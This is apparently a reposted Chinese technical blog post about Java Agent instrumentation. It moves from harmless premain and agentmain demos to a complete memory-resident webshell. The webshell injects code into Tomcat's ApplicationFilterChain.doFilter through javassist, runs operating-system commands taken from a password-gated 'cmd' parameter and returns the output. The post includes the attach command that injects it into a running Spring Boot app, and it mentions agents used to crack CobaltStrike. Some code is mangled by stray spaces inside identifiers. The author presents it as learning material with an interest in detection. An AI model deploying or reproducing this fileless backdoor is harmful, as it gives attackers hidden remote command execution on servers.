您的位置 首页 java

Java Agent到内存马

前言

今天看到一篇文章,写的是关于JAVA Agent相关的资料(附1),里面提到了 JAVA Agent 的两种实现方法:

  • 实现 premain 方法,在 JVM 启动前加载
  • 实现 agentmain 方法,在 JVM 启动后 attach 加载

因为最近流行破解 CobaltStrike 不再直接使用反编译打包源码了,而是使用 java Agent进行提前字节码修改。并且文章中也提到了 javassist 工具,我之前也用过javassist工具进行破解过Charles,因此抱着学习和复习的态度来复现下本文提到的技术点。

JAVA Agent两种方法复现

Java Agent 简单说就是一种可以修改 jar 字节码的技术,我们来复现下上述提到的两种方法。

premain

通过实现 premain方法 ,并在启动jar时添加 -javaagent:agent.jar 即可进行字节码修改。首先我们创建一个正常输出、测试用的 JAVA 程序, hello.jar

 package com.test;

public class Hello {
  public  static   void  main(String[] args) {
      hello();

  }

  public static void hello(){
      for (int i = 0; i < 1000; i++) {
          System.out.println("hello");
          try {
              Thread.sleep(1000);
          } catch (Interrupted Exception  e) {
              e.printStackTrace();
          }
      }
  }
}
​  

生成jar包:

 Build -> Build Artifacts -> Build  

正常运行jar包得到如下输出:

 java -jar hello.jar  

接下来编写一个实现premain方法的JAVA程序:

 package com.test;
​
import java.lang.instrument.Instrumentation;
​
public class premainagent {
  public static void premain(String args, Instrumentation inst) throws Exception{
      for (int i = 0; i < 10; i++) {
          System.out.println("hello I`m premain agent!!!");
      }
  }
}  

并在 MANIFEST.MF 添加一行:

 Premain-Class: com.test.premainagent  

生成jar包并加载执行:

 java -javaagent:premainagent.jar -jar hello.jar  

可以看到,成功的在 hello.jar 本身结果输出前输出了 premain 方法的内容:

Java Agent到内存马

前面也提到现在破解 CobaltStrike 流行用 JAVA Agent 技术,我们看下破解工具的源码,能发现确实用的也是 premain 方法进行的破解:

agentmain

但是有些 JVM 已经启动了,不好去让他重启,因此这个时候 agentmain 就派上用场了,可以方便的 attach 对应的进程进行 字节码 的修改。

编写一个实现了 agentmain 方法的 JAVA 程序:

 package com.test;
​
import java.lang.instrument.Instrumentation;
​
public class agentmaintest {
  public static void agentmain(String agentArgs, Instrumentation inst) {
      for (int i = 0; i < 10; i++) {
          System.out.println("hello I`m agentMain!!!");
      }
  }
}  

并在 MANIFEST.MF 添加一行:

 Agent-Class: com.test.agentmaintest  

生成 jar 包。

再编写一个 attach 程序(附2):

 import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
​
public class TestAgentMain {
​
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, Agent Initialization Exception{
        //获取当前系统中所有 运行中的  虚拟机 
        System.out.println("running JVM start ");
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for ( Virtual MachineDescriptor vmd : list) {
​
            System.out.println( vmd .displayName());
            String aim = args[0];//你的jar包
            if (vmd.displayName().endsWith(aim)) {
                System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包
                virtualMachine.detach();
            }
        }
    }
}  

生成 jar 包。

依然尝试对 hello.jar 进行字节码的修改,但是这次是运行着的 hello.jar

首先运行 hello.jar

java -jar hello.jar

hello.jar 进行启动后的 attach 加载:

 java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar  

发现成功在 hello.jar 运行过程中进行了字节码修改:

内存马

既然可以修改某个方法的实现,那如果修改 spring boot Filter 是否就可以实现一个 Filter 内存马?这里通过修改 org. apache .catalina.core.ApplicationFilterChain#doFilter 来达到实现内存马的目的。

依然实现一个 agentmain 方法,只是这次 agentmain 方法中不再是 System.out.println 了,而是接收 Request 的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如 attach 后会爆 Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

得加上这两句:

 ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));  

除了上面 agentmain 章节中提到的,在 MANIFEST.MF 中添加一行 Agent-Class ,还要添加一行:

 Can-Retransform-Classes: true  

且最后执行命令的 JAVA 代码,申明变量类型时得是完整路径,如 InputStream 得变成 java.io.InputStream 。最终代码如下:

 package com.test;
import java.lang.instrument.Class File Transformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import javassist.*;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.instrument.IllegalClassFormatException;
import java.io.IOException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;
​
​
public class memshell {
    public static void agentmain(String agentArgs, Instrumentation instrumentation)
            throws ClassNotFoundException, UnmodifiableClassException {
        instrumentation.addTransformer(new ClassFileTransformer() {
            @ Override 
            public  byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
                                    ProtectionDomain protectionDomain, byte[] classfileBuffer){
                System.out.println("premain load Class2:" + className);
                if(!"org/apache/catalina/core/ApplicationFilterChain".equals(className)){
                    System.out.println("nonononononono");
                    return null;
                }else {
                    try {
                        System.out.println("tryyyyyyyy");
                        ClassPool classPool = ClassPool.getDefault();
                        classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
                        if (classBeingRedefined != null) {
                            ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                            classPool.insertClassPath(ccp);
                        }
                        CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
                        CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                        String source = "{javax.servlet.http.HttpServletRequest request = $1;" +
                                "javax.servlet.http.HttpServletResponse response = $2;" +
                                "request.setCharacterEncoding("UTF-8");" +
                                "String result = "";" +
                                "String password = request.getParameter("password");" +
                                "if (password != null && password.equals("xxxxxx")) {" +
                                "String cmd = request.getParameter("cmd");" +
                                "if (cmd != null && cmd.length() > 0) {" +
                                "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
                                "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();" +
                                "byte[] b = new byte[1024];" +
                                "int a = -1;" +
                                "while ((a = in.read(b)) != -1) {" +
                                "baos.write(b, 0, a);" +
                                "}" +
                                "response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");" +
                                "}" +
                                "}}";
                        ctMethod.insertBefore(source);
                        System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
                        byte[] byteCode = ctClass.toBytecode();
                        ctClass.detach();
                        return byteCode;
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                    return null;
                }
            }
        },true);
        instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
    }
​
}  

打包成 jar ,然后启动 spring boot

开始注入:

 java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar  

成功执行命令:

总结

本文借着公开的文章学习了 Java Agent 相关技术,分别对 JVM 运行前和运行后的字节码修改进行了复现,现在 JAVA 内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个 Webshell ,如何发现此类攻击手段也是一个重要战场。

附1:

附2:

文章来源:智云一二三科技

文章标题:Java Agent到内存马

文章地址:https://www.zhihuclub.com/199617.shtml

关于作者: 智云科技

热门文章

网站地图